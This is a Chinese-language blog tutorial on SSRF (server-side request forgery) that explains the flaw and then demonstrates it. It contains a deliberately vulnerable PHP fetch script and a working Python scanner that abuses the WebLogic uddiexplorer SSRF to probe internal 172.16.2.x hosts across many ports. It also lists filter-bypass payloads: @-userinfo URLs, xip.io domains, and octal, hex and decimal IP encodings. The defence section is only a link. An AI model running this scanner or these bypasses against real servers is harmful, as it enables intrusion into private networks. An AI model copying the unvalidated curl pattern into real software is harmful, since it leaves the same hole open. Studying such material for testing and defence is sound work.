SSRF漏洞剖析与利用

最近玩的时候想找一下SSRF的相关知识,去自己博客上一看,WTF竟然还没有!好吧。。那就写一个吧,方便自己以后查看,大牛们多多指点。

Know it

(让我装个逼,模仿下猪猪侠的词。。。)

什么是SSRF

Freebuf:很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。这个功能如果被恶意使用,可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击(Server-side Request Forgery)

一句话就是:利用一个可以发起网络请求的服务,当作跳板来攻击其他服务。

SSRF能干什么

  • 探测内网信息
  • 攻击内网或本地其他服务
  • 穿透防火墙
  • 。。。

怎么找SSRF漏洞

  • 能够对外发起网络请求的地方
  • 请求远程服务器资源的地方
  • 数据库内置功能
  • 邮件系统
  • 文件处理
  • 。。。

举几个例子:

  • 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
  • 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
  • 数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
  • 邮件系统就是接收邮件服务器地址这些地方。
  • 文件就找ImageMagick,xml这些。
  • 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。

SSRF怎么形成的

SSRF形成的原因就是由于服务端提供了能够发起网络请求或者从其他服务器获取相关资源数据等,但是没有对相关目标地址做任何的限制或过滤,从而导致SSRF漏洞。

Hack it

漏洞复现

主要模仿curl来请求资源,写入相关文件,之后并显示相关数据。

ssrf.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<head>
<title>ssrf test</title>
</head>
<body>
<center>
<form name="input" action="ssrf.php" method="POST">
<h2>Search: <input type="text" name="url"></h2>
<input type="submit" value="Submit">
</form>
</center>
</body>
</html>

ssrf.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(isset($_POST['url'])){
$link = $_POST['url'];
$filename = './'.rand().'.txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj,CURLOPT_FILE,$fp);
curl_setopt($curlobj,CURLOPT_HEADER,0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp,filesize($filename));
fclose($fp);
echo $result;
}
?>

这里使用192.168.1.113作为边界服务器,192.168.2.3作为内网服务器。

数据内网服务器地址

成功显示内网服务器信息

漏洞实践

这里以weblogic的SSRF为例(猪猪侠所说的神洞)。如图显示则就是存在SSRF漏洞了。

好了,到现在咱们已经知道存在这个漏洞了,然后应该怎样快速定位该服务器所在的内网地址呢?

这里目前我知道的有三种方法:

  1. 使用脚本爆破192.168.*.*172.16.*.*-172.31.*.*10.*.*.*这三个内网段
  2. 使用burp爆破同上
  3. 使用file:///gophar://ftp://等这些服务器允许的协议去读取proc里可能包含IP地址信息的相关文件

这里我就先简单粗暴的使用burp来一发吧。

。。。运气真特么的好。

内网探测

探测内网内的所有主机及开放的端口信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: UTF-8 -*-
'''
@Author:w2n1ck
@Index:http://www.w2n1ck.com/
'''
import Queue
from threading import Thread
import threading
import urllib
import urllib2
import re
import requests
base_url = 'http://xxx.xxx.xxx'
thread_list=[]
port_list = [21,22,23,25,69,80,81,82,83,84,110,389,398,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070]
que = Queue.Queue()
lock = threading.Lock()
for port in port_list:
que.put(port)
def run():
for i in range(1,256):
while que.qsize() > 0:
port = que.get()
#print "ip:172.16.2.{ip}:{port}".format(ip=i,port=port)
url = "http://xxx.xxx.xxx/uddiexplorer/SearchPublicRegistries.jsp?operator=http://172.16.2.%d:%d&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search" % (i,port)
try:
content = requests.get(url,timeout=20,verify=False).content
#ssrf检测
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',content)
result2 = re.findall('but could not connect',content)
result3 = re.findall('No route to host',content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print "http://172.16.2.{ip}:{port} is open".format(ip=i,port=port)
except Exception,e:
pass
if __name__ == '__main__':
for i in xrange(20):
t=Thread(target=run)
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()

SSRF绕过技巧

1、@

1
2
3
http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8

2、添加端口号

1
http://127.0.0.1:8080

3、短地址

1
http://ᄒ.ws/ir

4、特殊域名

1
2
3
10.0.0.1.xip.io == 10.0.0.1
www.10.0.0.1.xip.io == 10.0.0.1
fuzz.ssrf.10.0.0.1.xip.io == 10.0.0.1

5、ip进制转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
首先以 . 分割数字
然后进行10进制转换16进制
然后把这串十六进制合在一起再转换成8进制
然后指定协议 http://,可用任意个 0 作为前缀:http://000007F000001;
(在前面添加过多的 0,在实际SSRF或者XSS中有时会成为绕过过滤的大杀器)
1、利用八进制IP地址绕过
ping -w 0 -n 1 012.0.0.1
2、利用十六进制IP地址绕过
ping -w 0 -n 1 0xa.0.0.1
3、 利用十进制的IP地址绕过
ping -w 0 -n 1 167772161
在PHP里使用ip2long
在Python里使用inet_aton
4、利用IP地址的省略写法绕过
ping -w 0 -n 1 10.1

SSRF防御

推荐参考:
谈一谈如何在Python开发中拒绝SSRF漏洞

大爷,赏个铜板呗!